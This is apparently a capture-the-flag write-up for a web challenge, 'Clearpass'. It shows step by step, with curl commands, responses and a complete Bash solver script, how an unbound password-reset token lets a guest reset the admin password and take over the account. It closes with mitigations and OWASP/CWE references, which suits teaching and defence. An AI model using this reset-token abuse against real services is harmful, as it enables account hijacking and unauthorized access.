Overview
Clearpass is an account management portal. When you visit the site, you see a login page where you can sign in as a user. After signing in, the app shows your account details and, if you are an administrator, a special card called “Release authorization” that displays a secret flag.
The challenge starts you off logged in as a regular user named guest. Your goal is to become the admin user so you can view the admin-only flag.
The frontend code tells us exactly which backend APIs the app uses:
| Endpoint | Method | Purpose |
|---|---|---|
/api/login |
POST | Sign in with a username and password |
/api/me |
GET | Check who you are logged in as |
/api/flag |
GET | View the admin-only release token (flag) |
/api/reset/request |
POST | Request a password-reset token for an account |
/api/reset/complete |
POST | Use a reset token to set a new password |
/api/logout |
POST | Sign out |
The login page also tells us the demo credentials: guest / guest123.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
curl is sufficient; no wordlist is required beyond the demo credentials.
Recon
Step 1 — Confirm we start as guest
Goal: Verify the initial session is the guest user.
curl -s "$TARGET/api/me"
{ "role": "user", "user": "guest" }
Step 2 — Try to view the flag as guest
Goal: Confirm /api/flag is restricted to administrators.
curl -s "$TARGET/api/flag"
Administrators only.
So we need to find a way to become admin.
Step 3 — Examine the password-reset flow
Goal: Understand the two-step reset flow and whether the token is bound to the account it was issued for.
The login page has a “Forgot password?” link. Clicking it opens a reset form with two steps:
- Request reset token — you give a username, and the server issues a reset token.
- Complete reset — you give a reset token, a target account username, and a new password.
This is interesting because step 2 lets us choose which account to reset. The question is: is the reset token locked to the account it was issued for? If I request a token for guest, can I use it to reset admin’s password?
Vulnerability Analysis
The flaw class is Broken Access Control (CWE-284) via an unbound password-reset token leading to account takeover.
Exploitation
Step 4 — Request a reset token for guest
Goal: Obtain a reset token that we will reuse against admin.
curl -s -X POST "$TARGET/api/reset/request" \
-H 'Content-Type: application/json' \
-d '{"username":"guest"}'
{ "issued_for": "guest", "ok": true, "token": "<RESET_TOKEN>" }
Save that token value — we will reuse it in the next step.
Step 5 — Reset admin’s password using guest’s token
Goal: Use the guest token to reset admin’s password to a value we choose.
curl -s -X POST "$TARGET/api/reset/complete" \
-H 'Content-Type: application/json' \
-d '{"username":"admin","token":"<RESET_TOKEN>","new_password":"<NEW_PASSWORD>"}'
{ "ok": true, "reset": "admin" }
This confirms that admin’s password has been changed to <NEW_PASSWORD>, even though the token was originally issued for guest.
Step 6 — Log in as admin
Goal: Sign in with the admin account and the new password, and capture the session cookie.
curl -s -c cookies.txt -X POST "$TARGET/api/login" \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"<NEW_PASSWORD>"}'
The server sets a session cookie. We save it to cookies.txt so we can reuse it in the next request.
Step 7 — Confirm we are now admin
Goal: Verify the session is now the admin account.
curl -s -b cookies.txt "$TARGET/api/me"
{ "role": "admin", "user": "admin" }
We have successfully taken over the admin account.
Step 8 — Read the flag
Goal: Call /api/flag as the admin and retrieve the flag.
curl -s -b cookies.txt "$TARGET/api/flag"
{ "flag": "FLAG{REDACTED}" }
Flag
FLAG{REDACTED}
Retrieved from /api/flag after taking over the admin account via the unbound password-reset token.
Full solver script
Goal: A complete Bash script that performs the entire attack automatically.
Save as solve.sh and run it. Replace <CHOOSE_A_PASSWORD> with a password of your choice.
#!/usr/bin/env bash
# solve.sh — Clearpass account-takeover solver
set -euo pipefail
BASE="<challenge URL or IP>"
JAR="/tmp/opencode/clearpass_cookies.txt"
NEW_ADMIN_PASS="<CHOOSE_A_PASSWORD>"
rm -f "$JAR"
echo "[*] Requesting reset token for guest..."
TOKEN=$(curl -s -X POST "$BASE/api/reset/request" \
-H 'Content-Type: application/json' \
-d '{"username":"guest"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
echo "[+] Reset token: $TOKEN"
echo "[*] Resetting admin's password with guest's token..."
curl -s -X POST "$BASE/api/reset/complete" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"token\":\"$TOKEN\",\"new_password\":\"$NEW_ADMIN_PASS\"}"
echo
echo "[*] Logging in as admin..."
curl -s -c "$JAR" -X POST "$BASE/api/login" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$NEW_ADMIN_PASS\"}"
echo
echo "[*] Fetching /api/me..."
curl -s -b "$JAR" "$BASE/api/me"
echo
echo "[*] Fetching /api/flag..."
curl -s -b "$JAR" "$BASE/api/flag"
echo
Lessons / Takeaways
- Reset tokens must be bound to the specific account they were issued for, and that binding must be validated in the completion step.
- The reset completion step must not let the caller choose an arbitrary target account unless the caller is already authenticated as an administrator.
- Treat reset tokens as sensitive, short-lived, single-use bearer values.
Mitigations
- Bind every reset token to the exact account it was issued for, and validate that binding in the completion step.
- Never let the caller of
reset/completechoose an arbitrary target account unless they are already authenticated as an administrator. - Treat reset tokens as sensitive, short-lived, single-use bearer values.
Techniques
- Password Reset
- Account Takeover
- Broken Access Control
References
- OWASP, “Broken Access Control”: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- CWE-284: Improper Access Control: https://cwe.mitre.org/data/definitions/284.html
- OWASP, “Forgot Password”: https://owasp.org/www-community/attacks/Forgot_Password

